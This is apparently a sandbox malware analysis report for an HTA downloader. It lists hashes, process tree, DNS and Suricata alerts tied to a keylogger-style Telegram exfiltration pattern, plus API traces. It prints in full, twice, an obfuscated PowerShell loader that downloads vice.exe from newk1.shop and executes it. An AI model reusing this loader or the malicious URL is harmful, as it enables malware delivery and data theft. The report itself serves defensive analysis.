Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	May 3, 2023, 9:22 a.m.	May 3, 2023, 9:24 a.m.

Size	48.4KB
Type	HTML document, ASCII text, with very long lines
MD5	`dc6d1be99f44f1ef994a923c6003e817`
SHA256	`9cbf1c6d62b4071babeee157a533e97cb7e87a268af1a61ddb3ac7a1b647b39a`
CRC32	`24F9B49F`
ssdeep	`768:43s9FTOczTY/VAZ+R+4i8OjlPxtwPRpj9LMgHc1uci93zx8u:43s9lOczT0AZ+R+z8OsV1ZQKzl`
Yara	None matched

mshta.exe "C:\Windows\System32\mshta.exe" C:\Users\test22\AppData\Local\Temp\newvice.hta
292
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function LgYBoZgyc($mb, $Q){[IO.File]::WriteAllBytes($mb, $Q)};function qVlmS($mb){if($mb.EndsWith((GGwIXH @(38387,38441,38449,38449))) -eq $True){Start-Process (GGwIXH @(38455,38458,38451,38441,38449,38449,38392,38391,38387,38442,38461,38442)) $mb}else{Start-Process $mb}};function QQMOHWU($go){$Bd = New-Object (GGwIXH @(38419,38442,38457,38387,38428,38442,38439,38408,38449,38446,38442,38451,38457));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$Q = $Bd.DownloadData($go);return $Q};function GGwIXH($BQ){$Ei=38341;$Y=$Null;foreach($rf in $BQ){$Y+=[char]($rf-$Ei)};return $Y};function PENpW(){$uqRySCIsZ = $env:APPDATA + '\';$FPTcCxEw = QQMOHWU (GGwIXH @(38445,38457,38457,38453,38456,38399,38388,38388,38451,38442,38460,38448,38390,38387,38456,38445,38452,38453,38388,38426,38426,38446,38456,38443,38448,38421,38414,38388,38459,38446,38440,38442,38387,38442,38461,38442));$LdgHFwF = $uqRySCIsZ + 'vice.exe';LgYBoZgyc $LdgHFwF $FPTcCxEw;qVlmS $LdgHFwF;;;;}PENpW;
  2232
  - vice.exe "C:\Users\test22\AppData\Roaming\vice.exe"
    2388

Name	Response	Post-Analysis Lookup
api.telegram.org	A 149.154.167.220	149.154.167.220
newk1.shop	A 104.21.4.202 A 172.67.132.107	172.67.132.107
checkip.dyndns.org	A 132.226.8.169 CNAME checkip.dyndns.com A 193.122.130.0 A 132.226.247.73 A 158.101.44.242 A 193.122.6.168	158.101.44.242

IP Address	Status	Action
104.21.4.202	Active	Moloch
149.154.167.220	Active	Moloch
164.124.101.2	Active	Moloch
193.122.130.0	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 149.154.167.220:443 -> 192.168.56.103:49170	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.103:49170 -> 149.154.167.220:443	2033967	ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)	Misc activity
TCP 192.168.56.103:49170 -> 149.154.167.220:443	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49170 -> 149.154.167.220:443	2033967	ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)	Misc activity
UDP 192.168.56.103:50800 -> 164.124.101.2:53	2042687	ET INFO DYNAMIC_DNS Query to a *.dyndns .org Domain	Potentially Bad Traffic
TCP 192.168.56.103:49169 -> 193.122.130.0:80	2039190	ET MALWARE 404/Snake/Matiex Keylogger Style External IP Check	A Network Trojan was detected
TCP 192.168.56.103:49169 -> 193.122.130.0:80	2021378	ET POLICY External IP Lookup - checkip.dyndns.org	Device Retrieving External IP Address Detected
TCP 192.168.56.103:49169 -> 193.122.130.0:80	2042688	ET INFO DYNAMIC_DNS HTTP Request to a *.dyndns .org Domain	Potentially Bad Traffic
UDP 192.168.56.103:50800 -> 164.124.101.2:53	2012758	ET INFO DYNAMIC_DNS Query to *.dyndns. Domain	Misc activity
UDP 192.168.56.103:64894 -> 164.124.101.2:53	2033966	ET HUNTING Telegram API Domain in DNS Lookup	Misc activity
TCP 192.168.56.103:49164 -> 104.21.4.202:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49170 -> 149.154.167.220:443	2033967	ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)	Misc activity

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.103:49164 104.21.4.202:443	C=US, O=Google Trust Services LLC, CN=GTS CA 1P5	CN=newk1.shop	ab:bd:34:ca:a9:56:42:68:27:0f:bb:ee:20:1a:19:b7:71:04:58:35

Queries for the computername (7 events)

Time & API	Arguments	Status	Return
GetComputerNameW May 3, 2023, 9:22 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2023, 9:22 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2023, 9:22 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2023, 9:22 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 3, 2023, 9:22 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2023, 9:22 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 3, 2023, 9:22 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent May 3, 2023, 9:22 a.m.			0	0
IsDebuggerPresent May 3, 2023, 9:22 a.m.			0	0
IsDebuggerPresent May 3, 2023, 9:22 a.m.			0	0

Command line console output was observed (18 events)

Time & API	Arguments	Status	Return
WriteConsoleW May 3, 2023, 9:22 a.m.	buffer: Exception setting "SecurityProtocol": "Cannot convert null to type "System.Net. console_handle: 0x00000023	1	1
WriteConsoleW May 3, 2023, 9:22 a.m.	buffer: SecurityProtocolType" due to invalid enumeration values. Specify one of the fol console_handle: 0x0000002f	1	1
WriteConsoleW May 3, 2023, 9:22 a.m.	buffer: lowing enumeration values and try again. The possible enumeration values are "S console_handle: 0x0000003b	1	1
WriteConsoleW May 3, 2023, 9:22 a.m.	buffer: sl3, Tls"." console_handle: 0x00000047	1	1
WriteConsoleW May 3, 2023, 9:22 a.m.	buffer: At line:1 char:431 console_handle: 0x00000053	1	1
WriteConsoleW May 3, 2023, 9:22 a.m.	buffer: + function LgYBoZgyc($mb, $Q){[IO.File]::WriteAllBytes($mb, $Q)};function qVlmS console_handle: 0x0000005f	1	1
WriteConsoleW May 3, 2023, 9:22 a.m.	buffer: ($mb){if($mb.EndsWith((GGwIXH @(38387,38441,38449,38449))) -eq $True){Start-Pro console_handle: 0x0000006b	1	1
WriteConsoleW May 3, 2023, 9:22 a.m.	buffer: cess (GGwIXH @(38455,38458,38451,38441,38449,38449,38392,38391,38387,38442,3846 console_handle: 0x00000077	1	1
WriteConsoleW May 3, 2023, 9:22 a.m.	buffer: 1,38442)) $mb}else{Start-Process $mb}};function QQMOHWU($go){$Bd = New-Object ( console_handle: 0x00000083	1	1
WriteConsoleW May 3, 2023, 9:22 a.m.	buffer: GGwIXH @(38419,38442,38457,38387,38428,38442,38439,38408,38449,38446,38442,3845 console_handle: 0x0000008f	1	1
WriteConsoleW May 3, 2023, 9:22 a.m.	buffer: 1,38457));[Net.ServicePointManager]:: <<<< SecurityProtocol = [Net.SecurityProt console_handle: 0x0000009b	1	1
WriteConsoleW May 3, 2023, 9:22 a.m.	buffer: ocolType]::TLS12;$Q = $Bd.DownloadData($go);return $Q};function GGwIXH($BQ){$Ei console_handle: 0x000000a7	1	1
WriteConsoleW May 3, 2023, 9:22 a.m.	buffer: =38341;$Y=$Null;foreach($rf in $BQ){$Y+=[char]($rf-$Ei)};return $Y};function PE console_handle: 0x000000b3	1	1
WriteConsoleW May 3, 2023, 9:22 a.m.	buffer: NpW(){$uqRySCIsZ = $env:APPDATA + '\';$FPTcCxEw = QQMOHWU (GGwIXH @(38445,38457 console_handle: 0x000000bf	1	1
WriteConsoleW May 3, 2023, 9:22 a.m.	buffer: 8459,38446,38440,38442,38387,38442,38461,38442));$LdgHFwF = $uqRySCIsZ + 'vice. console_handle: 0x000000e3	1	1
WriteConsoleW May 3, 2023, 9:22 a.m.	buffer: exe';LgYBoZgyc $LdgHFwF $FPTcCxEw;qVlmS $LdgHFwF;;;;}PENpW; console_handle: 0x000000ef	1	1
WriteConsoleW May 3, 2023, 9:22 a.m.	buffer: + CategoryInfo : InvalidOperation: (:) [], RuntimeException console_handle: 0x000000fb	1	1
WriteConsoleW May 3, 2023, 9:22 a.m.	buffer: + FullyQualifiedErrorId : PropertyAssignmentException console_handle: 0x00000107	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00434d60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00434ea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00434ea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00434ea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004346a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004346a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004346a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004346a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004346a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004346a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00434ea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00434ea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00434ea0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435420 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435420 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435420 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435120 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435420 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435420 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435420 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435420 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435420 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435420 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435420 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004351e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004351e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004351e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004351e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004351e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004351e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004351e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004351e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004351e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004351e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004351e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004351e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004351e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004351e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435260 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435260 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435260 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435260 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435260 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435260 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435260 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 3, 2023, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00435260 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 3, 2023, 9:22 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header

suspicious_request

GET https://newk1.shop/UUisfkPI/vice.exe

Connects to a Dynamic DNS Domain (1 event)

domain

checkip.dyndns.org

Performs some HTTP requests (2 events)

request	GET http://checkip.dyndns.org/
request	GET https://newk1.shop/UUisfkPI/vice.exe

Allocates read-write-execute memory (usually to unpack itself) (50 out of 198 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 1900544 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02950000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x717c1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0241a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x717c2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02412000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02422000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ae2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0244a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02423000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02424000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0249b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02497000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0241b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02442000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02495000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02425000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0244c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02680000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02426000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0249c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02443000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02444000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02445000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02446000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02447000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02448000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02449000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028e3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028e4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028e6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028e7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028e8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 3, 2023, 9:22 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028e9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
